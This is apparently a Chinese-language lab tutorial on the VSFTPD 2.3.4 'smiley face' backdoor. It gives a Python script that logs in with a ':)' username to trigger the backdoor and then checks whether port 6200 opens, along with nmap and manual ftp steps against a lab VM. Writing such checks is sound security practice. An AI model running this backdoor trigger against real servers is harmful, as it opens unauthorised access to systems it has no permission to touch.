一、漏洞介绍
VSFTPD 2.3.4,俗称笑脸漏洞。在VSFTPD的实现代码中存在一个后门函数,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。
二、脚本创建
查询资料获得代码如下:
import socket from ftplib import FTP url = input("请输入你需要检测的地址:") ftp = FTP() username = 'user:)' # 用户名必须包含:)这两个字符 password = 'abc' try: ftp.connect(url, 21, timeout=6) # 使用ftp登录,设置延时6秒 ftp.login(username, password) ftp.quit() except: print("完成登录检测") try: s = socket.socket() # 使用socket函数来检测是否有漏洞存在 s.connect((url, 6200)) s.close() print("存在微笑漏洞") except: print("没有笑脸漏洞!")
然后将1.py复制到kali桌面
三、打开虚拟机
得到kali的ip地址
然后输入nmap -sV 192.168.48.0/24扫描靶机ip
得到靶机ip为192.168.245.132
输入nmap -p 6200 靶机IP检查端口开放情况
可以看到6200端口未开放
如果端口未开放则输入ftp 目标ip 用户名随便输但后面要带:),密码也随便输(不显示)
现在再看看端口开放情况,可以看到6200端口已打开
kali中输入cd Desktop,然后输入python 脚本的文件名和靶机ip即可检测